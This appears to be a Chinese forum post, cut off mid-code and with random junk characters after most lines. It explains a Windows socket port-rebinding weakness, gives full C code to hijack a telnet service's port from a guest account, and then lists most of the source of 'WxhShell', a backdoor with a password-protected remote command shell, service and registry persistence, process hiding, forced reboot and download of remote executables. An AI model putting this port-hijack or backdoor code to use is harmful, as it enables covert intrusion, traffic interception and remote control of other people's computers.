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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]e7?l/N[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /K1cP>oE  
h7T),UL  
  saddr.sin_family = AF_INET; `F&~SU,  
*TI?tD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `]@=Hx(  
y5O &9Ckw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 79d(UG'O  
XpE847!soL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Suo$wZ7J  
}P{Wk7#Jq  
  这意味着什么?意味着可以进行如下的攻击: <Q- m &  
;y1/b(t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yf8kBT:&S  
\weg%a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tk=S4 /VWv  
YOrq)_ l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7:b.c  
eMFxdtH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  { %]imf|g.  
hLk6Hqr7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %OO}0OW  
mb1c9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V?wV*]c  
*W^ZXhrZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r;[=y<Yf  
+DR$>a  
  #include d(ypFd9z  
  #include T{f$S  
  #include Qe ip h  
  #include    ]PoWL;E'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B {:a,V7  
  int main() 0{8L^ jB/  
  { dY~z6bT  
  WORD wVersionRequested; p)?6#~9$  
  DWORD ret; EEL3~H{(  
  WSADATA wsaData; {N/%%O.b  
  BOOL val; \#B<'J9.`  
  SOCKADDR_IN saddr; iQ2j ejd3(  
  SOCKADDR_IN scaddr; zUv#%Q8vw  
  int err; 6},[HpXRc4  
  SOCKET s; |m ?ZE:  
  SOCKET sc; fHH  
  int caddsize; G\;6n  
  HANDLE mt; xb9+-{<J  
  DWORD tid;   S 593wfc  
  wVersionRequested = MAKEWORD( 2, 2 ); g; ] '  
  err = WSAStartup( wVersionRequested, &wsaData ); IVxZ.5:L$  
  if ( err != 0 ) { 1TGRIe)  
  printf("error!WSAStartup failed!\n"); *0eU_*A^zO  
  return -1; cY_ke  
  } P}A!C9Frh  
  saddr.sin_family = AF_INET; [?KGLUmTAI  
   5~:/%+F0=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B,w ZI4oi*  
3+h3?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'EXx'z;/#  
  saddr.sin_port = htons(23); |b.xG_-s1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `V\?YS}  
  { }$L63;/H  
  printf("error!socket failed!\n"); }(ORh2Ri  
  return -1; NM![WvtjW  
  } zB`woI28  
  val = TRUE; ?&~q^t?u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xSK#ovH2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W [K.|8ho  
  { Xw!\,"{s  
  printf("error!setsockopt failed!\n"); %%uE^nX>  
  return -1; Jut&J]{h  
  } u YT$$'S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ` K {k0_{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ';/J-l/SE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0Q_*Z (  
LjG^c>[:m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'D ?o^  
  { oR=i5lAU  
  ret=GetLastError(); |.UY' B  
  printf("error!bind failed!\n"); .\^0RyJE  
  return -1; U{hu7  
  } 8SKrpwy  
  listen(s,2); er)I".|  
  while(1) Xzf,S;XV~  
  { oYStf5  
  caddsize = sizeof(scaddr); S\&3t}_  
  //接受连接请求 `;;l {8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %g.cE}^  
  if(sc!=INVALID_SOCKET) NBc^(F"  
  { Ws@'2i\;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SNH 3C1  
  if(mt==NULL) CYW@Km{e  
  { $%cc[[/U  
  printf("Thread Creat Failed!\n"); 9 =;mY  
  break; 4#03x:/<\  
  } =ZIT!B?4  
  } f=R+]XPzz  
  CloseHandle(mt); GN(<$,~g  
  } !ou#g5Q@z  
  closesocket(s); "}fweCBgo  
  WSACleanup(); jBw)8~tYm  
  return 0; K -rR)-rI  
  }   ls]N&!/hq  
  DWORD WINAPI ClientThread(LPVOID lpParam) U-u?oU-.'  
  { )P:^A9&_n=  
  SOCKET ss = (SOCKET)lpParam; IFX$\+-  
  SOCKET sc; cZ?QI6|[  
  unsigned char buf[4096]; d-UeItyW*  
  SOCKADDR_IN saddr; rXX>I;`&  
  long num; D'#Q`H  
  DWORD val; 1I9v`eT4  
  DWORD ret; Lau@HYW0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;X,u   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "[|b,fxR  
  saddr.sin_family = AF_INET; .="X vVdkp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fq6%@M~  
  saddr.sin_port = htons(23); == 5F[UX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n_e'n|T  
  { ?W'p&(;  
  printf("error!socket failed!\n"); 3N+lWuE}K  
  return -1; 7R2O[=Szq  
  } ,94<j,"  
  val = 100; `R[ZY!=+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &&X,1/  
  { M`Er&nQs  
  ret = GetLastError(); RU:Rt'  
  return -1; e /JQ #A  
  } '+cI W(F?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y~ =H`PAE  
  { `um,S  
  ret = GetLastError(); ^hC'\09=c  
  return -1; MePD:;mm^  
  } $>XeC}"x68  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~t`s&t'c|  
  { c0@8KW[,  
  printf("error!socket connect failed!\n"); lS.Adl^k  
  closesocket(sc); c[dzO .~  
  closesocket(ss); ]yU"J:/  
  return -1; vjGQ!xF  
  } 0Z9DewwP  
  while(1) d!y*z  
  { <=q} Nd\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3yZmW$E.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d,"LZ>hNY*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F1t(P 8  
  num = recv(ss,buf,4096,0); `a& kD|Yh  
  if(num>0) FM@iIlY"  
  send(sc,buf,num,0); K T}  
  else if(num==0) 1PkCWRpR  
  break; @^W`Yg)C  
  num = recv(sc,buf,4096,0); #@S%?`4,  
  if(num>0) W_\zx<m  
  send(ss,buf,num,0); %fqR  
  else if(num==0) 9Eyx Ob  
  break; ~?Q sr  
  } 9oWU]A\k>  
  closesocket(ss); o%$.8)B9F  
  closesocket(sc); 9)q3cjP{<  
  return 0 ; 5AYOM=O]t  
  } Wy}I"q[~So  
<\aeC2~M  
=Ph8&l7~sp  
========================================================== 'pdTV:]zA  
XIHN6aQ{X  
下边附上一个代码,,WXhSHELL _!\d?]Ya  
-Aj)<KNx[  
========================================================== V2YK  T,5  
M ?$[WS  
#include "stdafx.h" >Jz9wo`  
!~@GIr  
#include <stdio.h> UNdD2Fd9  
#include <string.h> Y`|+sND  
#include <windows.h> n +~Dc[  
#include <winsock2.h> xP9(J 0y  
#include <winsvc.h> E7fx4kV  
#include <urlmon.h> J!6FlcsZm  
RLB3 -=9t  
#pragma comment (lib, "Ws2_32.lib") *T|B'80  
#pragma comment (lib, "urlmon.lib") gE-y`2SU  
#WpkL]g2+%  
#define MAX_USER   100 // 最大客户端连接数 {meX2Z4  
#define BUF_SOCK   200 // sock buffer nM )C^$3<t  
#define KEY_BUFF   255 // 输入 buffer j2Zp#E!  
$B+| &]a  
#define REBOOT     0   // 重启 *eVq(R9?T  
#define SHUTDOWN   1   // 关机 'X`Z1L/  
yPm2??5MW>  
#define DEF_PORT   5000 // 监听端口 &SY!qTxF  
l]nt@0+  
#define REG_LEN     16   // 注册表键长度 _FLEz|%~  
#define SVC_LEN     80   // NT服务名长度 vJkc/7  
N%y i4  
// 从dll定义API XpQOl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S&op|Z)1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U=on}W3V 2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gV_/t+jI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^u /%zL  
K"}fD;3  
// wxhshell配置信息 _]Hna<Ly  
struct WSCFG { Hd|l6/[xz  
  int ws_port;         // 监听端口 p5Q]/DhG  
  char ws_passstr[REG_LEN]; // 口令 f^WTsh]  
  int ws_autoins;       // 安装标记, 1=yes 0=no KhCP9(A=Qo  
  char ws_regname[REG_LEN]; // 注册表键名 v<qh;2  
  char ws_svcname[REG_LEN]; // 服务名 '=\}dav!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NWBYpGZx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GXNf@&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "n-'?W!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S;Bk/\2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y}Ky<%A!P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )s2] -n}W  
0&.CAHb}  
}; A KNx~!%2  
XZ rI w  
// default Wxhshell configuration v0^9 "V:y  
struct WSCFG wscfg={DEF_PORT, gt&|T j  
    "xuhuanlingzhe", G1"iu8 9d  
    1, ::L2zVq5V  
    "Wxhshell", E_HB[ 9  
    "Wxhshell", Qy,^'fSN  
            "WxhShell Service", B~Q-V&@o  
    "Wrsky Windows CmdShell Service", |m19fg3u  
    "Please Input Your Password: ", PJnC  
  1, B[vj X"yg  
  "http://www.wrsky.com/wxhshell.exe", ^?69|,  
  "Wxhshell.exe" ,w }Po  
    }; 0P^h6Vat  
R;& >PFmq  
// 消息定义模块 8#I>`z^F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .=_p6_G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eE;tiX/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -wl j;U  
char *msg_ws_ext="\n\rExit."; ~,'{\jDrS  
char *msg_ws_end="\n\rQuit."; SGd]o"VF  
char *msg_ws_boot="\n\rReboot..."; ZS Med(//b  
char *msg_ws_poff="\n\rShutdown..."; ]-PzN'5\'  
char *msg_ws_down="\n\rSave to "; <3YZ0f f>  
]`E+HLEQ'  
char *msg_ws_err="\n\rErr!"; \ /-c)  
char *msg_ws_ok="\n\rOK!"; .J#'k+>  
QaX.Av  
char ExeFile[MAX_PATH]; lG*Rw-?a  
int nUser = 0; od;-D~  
HANDLE handles[MAX_USER]; JuRoeq.  
int OsIsNt; l/$GF|`U  
_Fb}zPU!  
SERVICE_STATUS       serviceStatus; JFq wC=-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pg4&}bX:I  
Er~17$b  
// 函数声明 C \ Cc[v  
int Install(void); >&L|oq7$  
int Uninstall(void); Iw1Y?Qia  
int DownloadFile(char *sURL, SOCKET wsh); x^eu[olN  
int Boot(int flag); B.<SC  
void HideProc(void); a(Y'C`x  
int GetOsVer(void); *2X6;~  
int Wxhshell(SOCKET wsl); ~/:vr  
void TalkWithClient(void *cs); ]`o5eByo  
int CmdShell(SOCKET sock); h#rP]o@  
int StartFromService(void); O-- p)\   
int StartWxhshell(LPSTR lpCmdLine); XLpP*VH3  
[)H 6`w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t@RYJmW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); St=nf\P&F  
SpH|<L3  
// 数据结构和表定义 e r" w{  
SERVICE_TABLE_ENTRY DispatchTable[] = +qxPUfN  
{ T.q2tC[bR  
{wscfg.ws_svcname, NTServiceMain}, MsB >3  
{NULL, NULL} Nk~}aj  
}; c? ::l+  
77e*9/6@  
// 自我安装 ^df wWP  
int Install(void) U~ {k_'-i  
{ +^I0> \  
  char svExeFile[MAX_PATH]; GqFx^dY4*  
  HKEY key; ;yH>A ;,K%  
  strcpy(svExeFile,ExeFile); 5 s7BUT  
 CB7dr&>  
// 如果是win9x系统,修改注册表设为自启动 =j]y?;7q  
if(!OsIsNt) { :}Jx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VJ*1g+c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |5@Ra@0  
  RegCloseKey(key); lED!}h'4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M 8^ID #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {%jAp11y+O  
  RegCloseKey(key); 9rB3h`AVF  
  return 0; I?KN7(9u?  
    } ~W'DEpq_  
  } P \7DA4]  
} Z0|5VLk,<{  
else { pP\Cwo #,  
!3Dq)ebBz  
// 如果是NT以上系统,安装为系统服务 5zuwqOD*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sYTz6-  
if (schSCManager!=0) lR(9;3  
{ MB}nn&u#  
  SC_HANDLE schService = CreateService M!mL/*G@YE  
  ( tzI|vVT,  
  schSCManager, AbU`wr/h 4  
  wscfg.ws_svcname, <y 4(!z"  
  wscfg.ws_svcdisp, `RTxc  
  SERVICE_ALL_ACCESS, @uSO~. 7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jcw^Z,  
  SERVICE_AUTO_START, 6#w>6g4V~R  
  SERVICE_ERROR_NORMAL, ktu?-?#0,  
  svExeFile, RK# 6JfC3X  
  NULL, !E70e$Th  
  NULL, X<ex >sM  
  NULL, ;W|kc</R*  
  NULL, UhB +c  
  NULL ?7\V)$00(&  
  ); 1=VyD<dNG6  
  if (schService!=0) xBHf~:!  
  { PZ[-a-p40  
  CloseServiceHandle(schService); 9#E *o~1  
  CloseServiceHandle(schSCManager); Khq\@`RaT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OjU{r N*  
  strcat(svExeFile,wscfg.ws_svcname); #%,X),%-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  ^`H'LD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $e^"Inhtqp  
  RegCloseKey(key); [o^$WL?c  
  return 0; o Rfb4+H&  
    } h*%p%t<  
  } :@w~*eK~  
  CloseServiceHandle(schSCManager); :J;U~emq  
} 8)B{x[?|  
} Za.}bR6?Y  
[d`Jw/4n  
return 1; --HDEc|  
} &9jJ\+:7  
-:}vf?  
// 自我卸载 l;$F[/3a  
int Uninstall(void) ODJ"3 J  
{ 2OG/0cP  
  HKEY key; f/\!=sa:  
8 Ku9;VEk  
if(!OsIsNt) { &+9 ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]dycesc'  
  RegDeleteValue(key,wscfg.ws_regname); \Y#  
  RegCloseKey(key); z/Lb1ND8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * :"*'  
  RegDeleteValue(key,wscfg.ws_regname); YznL+TD  
  RegCloseKey(key); ]4rmQAS7"  
  return 0; Q`CuZkP(  
  } 3G// _f  
} b[vE!lJEq  
} Rtf<UhUn  
else { u5CSx'h]  
!D22HSv(w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a[ULSYEi  
if (schSCManager!=0) '! >9j,BJ  
{ <I,4Kc!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <3Ftq=  
  if (schService!=0) [bLKjD  
  { vbJ<|#|r-  
  if(DeleteService(schService)!=0) { 6/!:vsa"3  
  CloseServiceHandle(schService); 4vg,g(qi<  
  CloseServiceHandle(schSCManager); O"9t,B>=i  
  return 0; zJ`u>:*$  
  } sbvP1|P8%  
  CloseServiceHandle(schService); cT(nKHL  
  } Gm+D1l i  
  CloseServiceHandle(schSCManager);  ff9m_P  
} &H _/`Z]Q  
} GtRpgM  
+:A `e+\  
return 1; 6Dd>ex!-A  
} k_g@4x1y*  
6 `6 I<OJ\  
// 从指定url下载文件 pbzt8 P[  
int DownloadFile(char *sURL, SOCKET wsh) {\Pk;M{Y&  
{ /.:1Da  
  HRESULT hr; [_N1 .}e  
char seps[]= "/"; LM<*VhX  
char *token; V7$ m.P#uM  
char *file; $$AZ)#t[  
char myURL[MAX_PATH]; ?MDo. z3  
char myFILE[MAX_PATH]; %/eG{ oh-  
p5In9s  
strcpy(myURL,sURL); BDt$s( \  
  token=strtok(myURL,seps); Uahh|> s  
  while(token!=NULL) Q-)(s  
  { NbWEP\dS'z  
    file=token; ,|f=2t+5X  
  token=strtok(NULL,seps); 9^^\Z5  
  } x ]VycS  
(U\o0LI  
GetCurrentDirectory(MAX_PATH,myFILE); i7RK*{  
strcat(myFILE, "\\"); n3e,vP? R  
strcat(myFILE, file); /G5KNSi  
  send(wsh,myFILE,strlen(myFILE),0); 8] LF{Obz[  
send(wsh,"...",3,0); ~'*23]j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CXUF=IE  
  if(hr==S_OK) R/u0,  
return 0; >$kFYb>~q  
else erI&XI  
return 1; |@d(2f8  
{UH45#Ua  
} THl:>s  
fD%/]`y  
// 系统电源模块 J5b3r1~D"[  
int Boot(int flag) pyf'_  
{ k r$)nf  
  HANDLE hToken; =u0=)\0@r  
  TOKEN_PRIVILEGES tkp; ZW M:Wj192  
r6j[C"@  
  if(OsIsNt) { ,WdSJ BK'a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); + s}!+I8 P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iBWzxPv:z  
    tkp.PrivilegeCount = 1; JKKp5~_~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \Vv)(/q{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H:b"Vd"x9  
if(flag==REBOOT) { M_O$]^I3w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3SM'vV0[  
  return 0; A._CCou  
} .(&6gB  
else { NO/$} vw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gb2|e.z  
  return 0; hzbvR~rn  
} )^UqB0C6^  
  } M"mvPr9  
  else { 6rS ? FG=  
if(flag==REBOOT) { i<&z'A6&]*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =$}`B{(H  
  return 0; H!NGY]z*  
} T7YJC,^m  
else { :Gz$(!j1.'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h-.^*=]R6  
  return 0; uA`e  
} vkLt#yj~  
} W)`>'X`  
EQnU:a  
return 1; Ym%# "  
} 6n:X p_yO  
7<kr|-  
// win9x进程隐藏模块 w2$ L;q  
void HideProc(void) 2C0j.Ib  
{ 2SC'Z>A  
p;[.&o J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H/f}t w  
  if ( hKernel != NULL ) ,>g( %3C  
  { PazWMmI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :z?T /9,C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zCq6k7u  
    FreeLibrary(hKernel); WKr4S<B8mr  
  } L9[m/(:y  
YTgT2w  
return; q.:a4w J  
} 2+|r*2_glo  
Gj#BG49g2  
// 获取操作系统版本 )p!") :'fv  
int GetOsVer(void) >yyu:dk-;  
{ &xj40IZ  
  OSVERSIONINFO winfo; 4YOLy\"S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X"8$,\wX,  
  GetVersionEx(&winfo); kPEU}Kv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NVVAh5R  
  return 1; 3F6'3NvVc2  
  else F0m[ls$  
  return 0; C#&b`  
} w6 Y+Y;,'f  
8}z PDs  
// 客户端句柄模块 'o_ RC{k2"  
int Wxhshell(SOCKET wsl) U ;4;>  
{ x ZAg  
  SOCKET wsh; ^ ' )4RU  
  struct sockaddr_in client; HDo=WqG  
  DWORD myID; _#<l -R`  
*nM.`7g*[  
  while(nUser<MAX_USER) ~9f Ts4U  
{ Z,3CMWHg  
  int nSize=sizeof(client); G*v,-O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  wMH13i3  
  if(wsh==INVALID_SOCKET) return 1; qztL M?iV  
<^Q` y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); */]1?M@P)  
if(handles[nUser]==0) =0@o(#gM  
  closesocket(wsh); Mi!ak  
else ']Km%uwL  
  nUser++; 3e[k9`  
  } z ISy\uka  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jaTCRn3|<  
7")&njQ/x  
  return 0; ^-}3 +YA  
} lZ+ 1 A0e  
.b%mr:nEt7  
// 关闭 socket oRn5blj  
void CloseIt(SOCKET wsh) gn 9CZ  
{ Dx3Sf}G `  
closesocket(wsh); R[lA@q:  
nUser--; .|ZnU]~T  
ExitThread(0); 6Hpj&Qm  
} .Vq_O u  
$L"-JNS  
// 客户端请求句柄 piUfvw  
void TalkWithClient(void *cs) x(zW<J5X"  
{ 3'Z+PPd!  
U&tR1v'  
  SOCKET wsh=(SOCKET)cs; /Hc0~D4|x  
  char pwd[SVC_LEN]; T/7[hj  
  char cmd[KEY_BUFF]; 7`X9s~B  
char chr[1]; 2LN5}[12]  
int i,j; k.0pPl  
%8L5uMx  
  while (nUser < MAX_USER) { ; UjP0z  
y /?;s]>b  
if(wscfg.ws_passstr) { xeHqC9Ou  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  s@3<]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;/nR[sibN  
  //ZeroMemory(pwd,KEY_BUFF); qo;F]v*pkK  
      i=0; > cJX'U9  
  while(i<SVC_LEN) { }Sb&ux  
|}roR{gc|  
  // 设置超时 jdDcmR  
  fd_set FdRead; Xp3cYS*u  
  struct timeval TimeOut; dv \ oVD  
  FD_ZERO(&FdRead); d7QQ5FiB  
  FD_SET(wsh,&FdRead); <Gudx>I  
  TimeOut.tv_sec=8; lO|H:7  
  TimeOut.tv_usec=0; Q ?W6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &-Zg0T&tZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /9yA.W;  
u RNc9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )@YrHS4  
  pwd=chr[0]; esEOV$s}  
  if(chr[0]==0xd || chr[0]==0xa) { t\+vTvT)RE  
  pwd=0; i`:r2kU:*W  
  break; >7V&pH'  
  } ]+S.#x`#  
  i++; CD0SXNi"zH  
    } .!t' &eV  
k4-C*Gx$h  
  // 如果是非法用户,关闭 socket )6mv 7M{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T+/Gz'  
} 2\!.w^7'^T  
xH8nn3U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :U;ZBs3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Gd8 <  
93y.u<,2;  
while(1) { yyHr. C  
5B( r[Ni b  
  ZeroMemory(cmd,KEY_BUFF); J`3 p Xc$.  
1k>*   
      // 自动支持客户端 telnet标准   71w$i 4  
  j=0; \h"QgHzp  
  while(j<KEY_BUFF) { Z5{M_^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,G,T&W  
  cmd[j]=chr[0]; e~we YGK  
  if(chr[0]==0xa || chr[0]==0xd) { HgX4RSU  
  cmd[j]=0; yHoj:f$$x  
  break; uEuK1f`  
  } 'm"H*f  
  j++; ^\\cGJ&8c  
    } T3{qn$t8  
jX{lo  
  // 下载文件 $wVY)p9Q  
  if(strstr(cmd,"http://")) { c>3W1"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  Wcn^IQ  
  if(DownloadFile(cmd,wsh)) D058=}^HE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B: uW(E  
  else : C;=<$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G";yqG  
  } _B|g)Rdv  
  else { #,qikKjt2  
HWGlC <  
    switch(cmd[0]) { n/UyMO3=  
  BiHBu8<  
  // 帮助 g;bkV q  
  case '?': { 4S.%y7d\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NzRL(A6V  
    break; rReZ$U  
  } y?aOk-TaRA  
  // 安装 v1zJr6ra9  
  case 'i': { (85F1"Jp  
    if(Install()) <OW` )0UX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4CzReG  
    else 7z6yn= B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c{#lKD<7  
    break; 82V xk  
    } eA_1?j]E3  
  // 卸载 c-avX  
  case 'r': { ")(1z@  
    if(Uninstall()) )mZ`j.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A0WQZt!FEN  
    else W~Mj6c~S"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &ze'V , :  
    break; d|6*1hby  
    } $- #M~eZv  
  // 显示 wxhshell 所在路径 2&!G@5  
  case 'p': { P5vMy'1X  
    char svExeFile[MAX_PATH]; Ef$xum{  
    strcpy(svExeFile,"\n\r"); -acW[$t  
      strcat(svExeFile,ExeFile);  Jb {m  
        send(wsh,svExeFile,strlen(svExeFile),0); r0j:ll d  
    break; *RM#F !A  
    } P67r+P,  
  // 重启 !Nl"y'B|  
  case 'b': { FAU^(]-5m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;Z.}~d6>!  
    if(Boot(REBOOT)) i' |S g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K#F~$k|1B  
    else { z6FG^  
    closesocket(wsh); o~^hsm[44J  
    ExitThread(0); D@4hQC\  
    } A"z')   
    break; T?7 ZF+yo6  
    } OjeM#s#N!  
  // 关机 JYKA@sZHe  
